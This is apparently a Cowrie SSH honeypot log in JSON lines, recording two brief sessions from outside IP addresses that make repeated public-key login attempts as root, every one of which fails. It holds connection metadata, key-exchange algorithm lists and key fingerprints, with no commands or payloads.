{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:09.637542Z","src_ip":"167.114.156.169","session":"d53929a4d755","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:6f:54:57:9e:39:d6:51:36:5a:c0:32:2e:ca:4b:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpTWRMdv69TZVGMsHrdJYw3QXiYYuZer8BRpuQCwnJb39/juUlP+mtsMgGletHnyDWpWG0mrl/f1Eo5A8QBA7XH/neMkg2yzaU5xkNEHCjpPdmk2kOKUaEnlERF1M6WG70ufgBVgy+jK9/53HLvoLHgDQ4u+9fvpzZa+iSVX5ZVyfQMgvlXBnVq1JKCIVNGKmSfT7DVFMSx5nnenb0gLvNNe4pCwjyMmdZ2WeBTrc+mAfA15IXdmhG9pZEAbRbZxWkoXKiGrLS1qGzHCQmaUMjIJ+nrlsbKslI/Vb/P9ojhxzinvzXrVGSWG+nXtEDxDEHn+9IUU0qt59az07rpSDL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:6f:54:57:9e:39:d6:51:36:5a:c0:32:2e:ca:4b:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:09.721010Z","src_ip":"167.114.156.169","session":"d53929a4d755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:6f:54:57:9e:39:d6:51:36:5a:c0:32:2e:ca:4b:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpTWRMdv69TZVGMsHrdJYw3QXiYYuZer8BRpuQCwnJb39/juUlP+mtsMgGletHnyDWpWG0mrl/f1Eo5A8QBA7XH/neMkg2yzaU5xkNEHCjpPdmk2kOKUaEnlERF1M6WG70ufgBVgy+jK9/53HLvoLHgDQ4u+9fvpzZa+iSVX5ZVyfQMgvlXBnVq1JKCIVNGKmSfT7DVFMSx5nnenb0gLvNNe4pCwjyMmdZ2WeBTrc+mAfA15IXdmhG9pZEAbRbZxWkoXKiGrLS1qGzHCQmaUMjIJ+nrlsbKslI/Vb/P9ojhxzinvzXrVGSWG+nXtEDxDEHn+9IUU0qt59az07rpSDL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:09.726345Z","src_ip":"167.114.156.169","session":"d53929a4d755","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:b5:dc:ea:f1:35:27:90:43:34:be:9b:fb:00:ca:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpamRvkrGboM2PcQjy64EHrPchcv+VhVsQmnmvErC9qQnDRJDIX8q0qLXjSka7JhbToFH7oDx100ZXg4zAKNqZvWkOfE/0d30JDIxYMKVNmjcON9UjSmO5y7giQoIFRQDbIAU+5Ht9aEYAtMT3IQQ2i1/bKAG8yeO2n1XP1vspFaXqCSTvtwNM7kR2sNeEkt5LiNnmLro58+nyb3Sbfnm+HsAsLB+jIwGvttD9LHiJdiVc8OALjHyJsrd2B7QqRBugQZk3UMsSQ7ikwYU75a9pmxwm0eJwiDL2Unq5x3Zr038AC+ZfZf9irtoIBGNYUsy7mi9MZHN4NWSq7dISiTgaL18Hx3APRFi9TDBZS/Pe67EAh2MST3gMG/dO9cQUxRa5JPromF5PM4H4um0sqJOVwzN7iK4GiAWgDNXypv0fecotRofOScksTalCZwa8DpL9HpENPSlo1C+eguZ149TG3MH2O9AuAb1wFlhb62o7p6HoKegJQ7cMYg4lMBjVpiPQ+G7U+mwbK0EfOCPi9WOL5IVl1fYbpcXlHVg/I0xX474kmi3wbp9qLDwyxOMfLVkTRS4luVkBfAaw3TgLxREM/rUtHwutVU+P1bKd0x+MQSr/jsh1Hvfjp6AzItK0hdBslSz22soOG4vZ3ERPPxWdA7RASXbR3dmGpn5akEsN0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:b5:dc:ea:f1:35:27:90:43:34:be:9b:fb:00:ca:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:09.748552Z","src_ip":"167.114.156.169","session":"d53929a4d755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:b5:dc:ea:f1:35:27:90:43:34:be:9b:fb:00:ca:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpamRvkrGboM2PcQjy64EHrPchcv+VhVsQmnmvErC9qQnDRJDIX8q0qLXjSka7JhbToFH7oDx100ZXg4zAKNqZvWkOfE/0d30JDIxYMKVNmjcON9UjSmO5y7giQoIFRQDbIAU+5Ht9aEYAtMT3IQQ2i1/bKAG8yeO2n1XP1vspFaXqCSTvtwNM7kR2sNeEkt5LiNnmLro58+nyb3Sbfnm+HsAsLB+jIwGvttD9LHiJdiVc8OALjHyJsrd2B7QqRBugQZk3UMsSQ7ikwYU75a9pmxwm0eJwiDL2Unq5x3Zr038AC+ZfZf9irtoIBGNYUsy7mi9MZHN4NWSq7dISiTgaL18Hx3APRFi9TDBZS/Pe67EAh2MST3gMG/dO9cQUxRa5JPromF5PM4H4um0sqJOVwzN7iK4GiAWgDNXypv0fecotRofOScksTalCZwa8DpL9HpENPSlo1C+eguZ149TG3MH2O9AuAb1wFlhb62o7p6HoKegJQ7cMYg4lMBjVpiPQ+G7U+mwbK0EfOCPi9WOL5IVl1fYbpcXlHVg/I0xX474kmi3wbp9qLDwyxOMfLVkTRS4luVkBfAaw3TgLxREM/rUtHwutVU+P1bKd0x+MQSr/jsh1Hvfjp6AzItK0hdBslSz22soOG4vZ3ERPPxWdA7RASXbR3dmGpn5akEsN0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:09.753086Z","src_ip":"167.114.156.169","session":"d53929a4d755","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:08:b2:f8:23:6a:aa:98:8b:2b:de:04:f7:0d:ad:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeJAeaL+p7H1GEN1okqrECQi6QkBQSXG4qIZp8/+XzULIztxY8DosnU6VYEvYNERAqyAhLieSNiBa9LH2pIj4vVWtuIrsMm7m5cRinrNnnDa+WMqtFOUsIvWTg5dBj96hon/jOrjj0FLI9W9sNfQO/bSBnUT0qp0G27IxRytb8HKAeH8yS+UTLsEL5O0x63d18liqHhFrbMA37WkRsIvOBF4dkIHH9THopKeDb13DfqO2MtjCyHfnUz6dzYh+KBCb6Aeq3D2yCHI6lB3Kwr6NFkCwwqhEzAzdLgkLp24+kPHPtUGSMCib1uBoPD8ZUb5wCCKdb9owOzbzZ5DjdV5Q9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:08:b2:f8:23:6a:aa:98:8b:2b:de:04:f7:0d:ad:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:09.775940Z","src_ip":"167.114.156.169","session":"d53929a4d755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:08:b2:f8:23:6a:aa:98:8b:2b:de:04:f7:0d:ad:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeJAeaL+p7H1GEN1okqrECQi6QkBQSXG4qIZp8/+XzULIztxY8DosnU6VYEvYNERAqyAhLieSNiBa9LH2pIj4vVWtuIrsMm7m5cRinrNnnDa+WMqtFOUsIvWTg5dBj96hon/jOrjj0FLI9W9sNfQO/bSBnUT0qp0G27IxRytb8HKAeH8yS+UTLsEL5O0x63d18liqHhFrbMA37WkRsIvOBF4dkIHH9THopKeDb13DfqO2MtjCyHfnUz6dzYh+KBCb6Aeq3D2yCHI6lB3Kwr6NFkCwwqhEzAzdLgkLp24+kPHPtUGSMCib1uBoPD8ZUb5wCCKdb9owOzbzZ5DjdV5Q9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:09.780432Z","src_ip":"167.114.156.169","session":"d53929a4d755","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:a3:80:34:95:c6:f6:c7:97:06:2b:43:7d:67:bc:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtzCHkaMnPqI26t4t/Jj/b4kyNPlZa7qzttawce4BIWY0aWHkUc1rxnwEvV8M9/Ag+4i0D7Lzm9/nVcWfJP0nnZj54mjDnQ10j/UchYK6HQ5BiaPdL5B4K+RgR7VwVaQyN73v/41czaAH8MK75aKg+5ct1U3AFpihIiKOBEhyC+le8987FExUrHKsW//p4bDNW4kRSU3Qdcu3D3wNNoTADDKzTeE1SGeNgTWNK3Gcxbfmzd/Q5jm+KzGJ8oslaCv2H4FE3Oayy1V39hzHMUUTzwkMh0MFZyHwXhiuOUGrbU7DMFZ4D4SEurL/MhoFLEX16sdzaJlckkPVnDDTXH0KLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:a3:80:34:95:c6:f6:c7:97:06:2b:43:7d:67:bc:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:09.803584Z","src_ip":"167.114.156.169","session":"d53929a4d755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:a3:80:34:95:c6:f6:c7:97:06:2b:43:7d:67:bc:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtzCHkaMnPqI26t4t/Jj/b4kyNPlZa7qzttawce4BIWY0aWHkUc1rxnwEvV8M9/Ag+4i0D7Lzm9/nVcWfJP0nnZj54mjDnQ10j/UchYK6HQ5BiaPdL5B4K+RgR7VwVaQyN73v/41czaAH8MK75aKg+5ct1U3AFpihIiKOBEhyC+le8987FExUrHKsW//p4bDNW4kRSU3Qdcu3D3wNNoTADDKzTeE1SGeNgTWNK3Gcxbfmzd/Q5jm+KzGJ8oslaCv2H4FE3Oayy1V39hzHMUUTzwkMh0MFZyHwXhiuOUGrbU7DMFZ4D4SEurL/MhoFLEX16sdzaJlckkPVnDDTXH0KLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:09.807888Z","src_ip":"167.114.156.169","session":"d53929a4d755","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:fc:36:62:66:b4:80:f8:2f:1f:87:45:a6:53:ca:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMeeXvdxAywcbuOtovn6mjapCVJ+Sp6cpAA57HqC8gDLwvr2DISPK0Mpc6nveaPOV1N/unwjQF/r+0qbKL2uImGfApR0YrattseGuxzyQDQtZ021Nm+VfD3A2dV5v7LgeAsqbKagDZkUQTVz3XSAOZXQKRD5SN84LOV30zkx4xKetgQhSAtytvaul9SCW8avpH+CkQ2qLo9Z5FvjToUaM+1VN7acN6n+niGQlqr36o71vGVpxEokLmR/Tfretl5bHrgqKeTmZuss7DVqK5m9DvM4XE4Dm07/7CT/PberuV6t1SGsbMaUzkS4rBBtFoBLBMohY3/xsS2KiJfCBW1NX9F+0CrcfphJuvSp/SG1ewH9wAlRHMGIMX7NMc0sp/Ttisyua9AeZv7/0/JhUlRaq+IgcI8xGoH+57n73tEFKSLEhCnYGthiQyiPrdZ42VRHyQXSnH17B2exSvoieSuBJ9tN11Bd5TMiZhUEd+uemlm76llro2hhro/Z02X7R/TPwOHTmglbYnkzjiDBqsJiGJFThhu6UUb4lvzkF/AZ0UA1+PqLX84NkPVbGbi1bJHFK6lRT6Oxsx9dzuCv7mceCIF/7oIyfx5hBtVSCLGvbQK+dwq+1NM76jrSSgo+7elpDKx1i6qbug2+mi1ZeiHWRAkyrCORremkJQc4SjJLo26Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:fc:36:62:66:b4:80:f8:2f:1f:87:45:a6:53:ca:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:09.835292Z","src_ip":"167.114.156.169","session":"d53929a4d755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:fc:36:62:66:b4:80:f8:2f:1f:87:45:a6:53:ca:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMeeXvdxAywcbuOtovn6mjapCVJ+Sp6cpAA57HqC8gDLwvr2DISPK0Mpc6nveaPOV1N/unwjQF/r+0qbKL2uImGfApR0YrattseGuxzyQDQtZ021Nm+VfD3A2dV5v7LgeAsqbKagDZkUQTVz3XSAOZXQKRD5SN84LOV30zkx4xKetgQhSAtytvaul9SCW8avpH+CkQ2qLo9Z5FvjToUaM+1VN7acN6n+niGQlqr36o71vGVpxEokLmR/Tfretl5bHrgqKeTmZuss7DVqK5m9DvM4XE4Dm07/7CT/PberuV6t1SGsbMaUzkS4rBBtFoBLBMohY3/xsS2KiJfCBW1NX9F+0CrcfphJuvSp/SG1ewH9wAlRHMGIMX7NMc0sp/Ttisyua9AeZv7/0/JhUlRaq+IgcI8xGoH+57n73tEFKSLEhCnYGthiQyiPrdZ42VRHyQXSnH17B2exSvoieSuBJ9tN11Bd5TMiZhUEd+uemlm76llro2hhro/Z02X7R/TPwOHTmglbYnkzjiDBqsJiGJFThhu6UUb4lvzkF/AZ0UA1+PqLX84NkPVbGbi1bJHFK6lRT6Oxsx9dzuCv7mceCIF/7oIyfx5hBtVSCLGvbQK+dwq+1NM76jrSSgo+7elpDKx1i6qbug2+mi1ZeiHWRAkyrCORremkJQc4SjJLo26Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:09.839896Z","src_ip":"167.114.156.169","session":"d53929a4d755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:09.860736Z","src_ip":"167.114.156.169","session":"d53929a4d755","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.85.130","src_port":35654,"dst_ip":"10.17.0.5","dst_port":22,"session":"9734eb359bf4","protocol":"ssh","message":"New connection: 51.81.85.130:35654 (10.17.0.5:22) [session: 9734eb359bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:25.042638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:25.047900Z","src_ip":"51.81.85.130","session":"9734eb359bf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:25.061613Z","src_ip":"51.81.85.130","session":"9734eb359bf4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:d2:ec:a1:0a:f5:3f:c5:cd:9b:8e:e6:82:50:8f:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3goABoosjkddRRemK8Vrk4az6Bvvu2wIKu/XD9nfnywDRQHKueOad9APhOp1/AeHJMHp7yUp/nn+xOVu1KiGdKprkm3bmgVC9vYG4d+hcSLDv6BahuuKnVOJYFEbOTlq5J1YZvaM4CsicSq8YSAaCX+aMlSyTqiuwDMIXFanoGqDnoV0qqbuch3IgyW2ucT8SjWYtvFtuIzjiuPs2NT10vca5EPz2HuXLxVno/QPsJ4uQynXlZjbcty9MD7R/4NjMX/eajqFK7KMwmZqfTYiO/Jtbe7BbAiYEtTJkCRoGBrer8nBT4U4ArWuY5BC5miF4ZMXLDSnERHLPBkFk2UOk1tR7stNO3S/m3xNTtc8nTpXk/wDwugGbCHXLbfuN6Qzrbnmn8PkAadEKcYO4E46X3aWAFqN0YB28ucNPM4DIfGZdRjxXHSDS5A18udJFzm6/2BNu88lcEyk36iedKYlPCDBfzFNfJ07E9YlX4M6afgCeD/DD3Xxrs4XU+6AzkoE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:d2:ec:a1:0a:f5:3f:c5:cd:9b:8e:e6:82:50:8f:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:25.106611Z","src_ip":"51.81.85.130","session":"9734eb359bf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:d2:ec:a1:0a:f5:3f:c5:cd:9b:8e:e6:82:50:8f:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3goABoosjkddRRemK8Vrk4az6Bvvu2wIKu/XD9nfnywDRQHKueOad9APhOp1/AeHJMHp7yUp/nn+xOVu1KiGdKprkm3bmgVC9vYG4d+hcSLDv6BahuuKnVOJYFEbOTlq5J1YZvaM4CsicSq8YSAaCX+aMlSyTqiuwDMIXFanoGqDnoV0qqbuch3IgyW2ucT8SjWYtvFtuIzjiuPs2NT10vca5EPz2HuXLxVno/QPsJ4uQynXlZjbcty9MD7R/4NjMX/eajqFK7KMwmZqfTYiO/Jtbe7BbAiYEtTJkCRoGBrer8nBT4U4ArWuY5BC5miF4ZMXLDSnERHLPBkFk2UOk1tR7stNO3S/m3xNTtc8nTpXk/wDwugGbCHXLbfuN6Qzrbnmn8PkAadEKcYO4E46X3aWAFqN0YB28ucNPM4DIfGZdRjxXHSDS5A18udJFzm6/2BNu88lcEyk36iedKYlPCDBfzFNfJ07E9YlX4M6afgCeD/DD3Xxrs4XU+6AzkoE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:25.110909Z","src_ip":"51.81.85.130","session":"9734eb359bf4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:ef:2c:57:fb:cf:cb:0c:c8:d5:35:a4:a0:27:26:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWw5b2Qfc6N4IO1878uSPEl/rnXV3CFU+FEdbilqW7iMGm1TRGmVZNH+M8QZgkcZCykYnLyk5DaAd55pfcORINj9/gYjpswehp13jdOYg7H18/BE0p/rDV7vowxghOl6ivqcpl7b7S2MhalYwNICJLwsW8kl2KL64Ov961nZCCyIkADwLcq1E//kq272sIm98/Z34o+1y7m4xucfxAva/HUmdRHXLb28xPcSdNbhSsAoFnR6ZbtVtdTqq4f7aPUfeTcSkAIsspLCkeTWwWrS2gS22zDcrhU3j+whc7A15gZCVB7RtypOUtOSsE5vGwoMsOwOwcq9apYDAdjmFba1JsoUbhbG1nD0kDpKZJ3JWyCy154Is8p49n8hKOHtaQoA/sdju+WFdbc9EHm9nJ0bYpWDuns7/s/1XkB4UJrsAtHW2SCmccTMTz8HLFiXj54m4vHekVHpSqd58mLC7YZtexCRrUOPoye2LgSWudMsMDBA/eRjDr6/qCSMGLQvOQbGMW0fvbGtgmHfatJtXJec8tNJRCaFMyEKFsn7o/r07e6uP9r8rO3+M9kodA5qLk8KT7ugnjhdw3dfWbbFpu55/hmyhHrtbeNXXbTiA7a4AtkwEQRjIvNddEBB/CzIjE8gnyCB3xshylBjwha8WUZ5HK6yDQiIgJ5/uvn21R/jc5DQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:ef:2c:57:fb:cf:cb:0c:c8:d5:35:a4:a0:27:26:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:25.125204Z","src_ip":"51.81.85.130","session":"9734eb359bf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:ef:2c:57:fb:cf:cb:0c:c8:d5:35:a4:a0:27:26:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWw5b2Qfc6N4IO1878uSPEl/rnXV3CFU+FEdbilqW7iMGm1TRGmVZNH+M8QZgkcZCykYnLyk5DaAd55pfcORINj9/gYjpswehp13jdOYg7H18/BE0p/rDV7vowxghOl6ivqcpl7b7S2MhalYwNICJLwsW8kl2KL64Ov961nZCCyIkADwLcq1E//kq272sIm98/Z34o+1y7m4xucfxAva/HUmdRHXLb28xPcSdNbhSsAoFnR6ZbtVtdTqq4f7aPUfeTcSkAIsspLCkeTWwWrS2gS22zDcrhU3j+whc7A15gZCVB7RtypOUtOSsE5vGwoMsOwOwcq9apYDAdjmFba1JsoUbhbG1nD0kDpKZJ3JWyCy154Is8p49n8hKOHtaQoA/sdju+WFdbc9EHm9nJ0bYpWDuns7/s/1XkB4UJrsAtHW2SCmccTMTz8HLFiXj54m4vHekVHpSqd58mLC7YZtexCRrUOPoye2LgSWudMsMDBA/eRjDr6/qCSMGLQvOQbGMW0fvbGtgmHfatJtXJec8tNJRCaFMyEKFsn7o/r07e6uP9r8rO3+M9kodA5qLk8KT7ugnjhdw3dfWbbFpu55/hmyhHrtbeNXXbTiA7a4AtkwEQRjIvNddEBB/CzIjE8gnyCB3xshylBjwha8WUZ5HK6yDQiIgJ5/uvn21R/jc5DQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:25.129487Z","src_ip":"51.81.85.130","session":"9734eb359bf4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:d9:2b:80:4f:94:26:21:01:ce:2c:ee:50:ab:a6:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJ1PwD8/SuR42he5OmsDwMV4Jyw4Sp0Y+eP0XSnbVG7a4SzwJfY5JlbYVxUgGEQZ6wZX7InOHCCcD1fL7u/9iNBU76TP8yJJ0ti9aMn0RrXrryJdboo69nmpqsL19G7qYA84AXhXBWKvBgM61flOdgN/a6W87VdkCEoGtnp7RHcs0HyLOl23ccAnl4vI8YyzZPM7espDnpYcgSC5g5HypKRLxH0Zd5xMYAlM9yYBfUYzHfGr+47HlAv2vFh8i+bRi59YrSWgMGZ0hi674Weg897SOhZJnVTyRbnk5piVqU4/tEjxng9jSmWNkiXjiWss571w8ZfvYmPBKIpaRcSx1eAihuGS3zNlMNvJUNmdGP4RGQi1O7Ul+oqMXaQlBFP5nouFMQUr633FjpAuDTksE4RWEXhaBYqiKpuM1yRBZoOS9jSyuf2YtC33Xm1ukO6qWQR/OThPYBdpeJLl1W7Szl4wC5yAAD18y3sIazrmpmOSqWkow3ckSoj2uBF6c0TUQyJbAdHnarDsf139ezzS5rtOz0VVMxZKYnNIw1WTBLIaq+qJTLTLdv1S6GMJRyhbDcsZ9gg9Ttqo5o8Z+1dKVjCFnkJRUogJCrfwx+aJvEtehmBX4UmOxRiyjjDwjyDtFrYl0liVM7pWj45LRkB+TAiPUXlxbnxsNtFkwH6qRGmQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:d9:2b:80:4f:94:26:21:01:ce:2c:ee:50:ab:a6:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:25.146900Z","src_ip":"51.81.85.130","session":"9734eb359bf4","protocol":"ssh"}
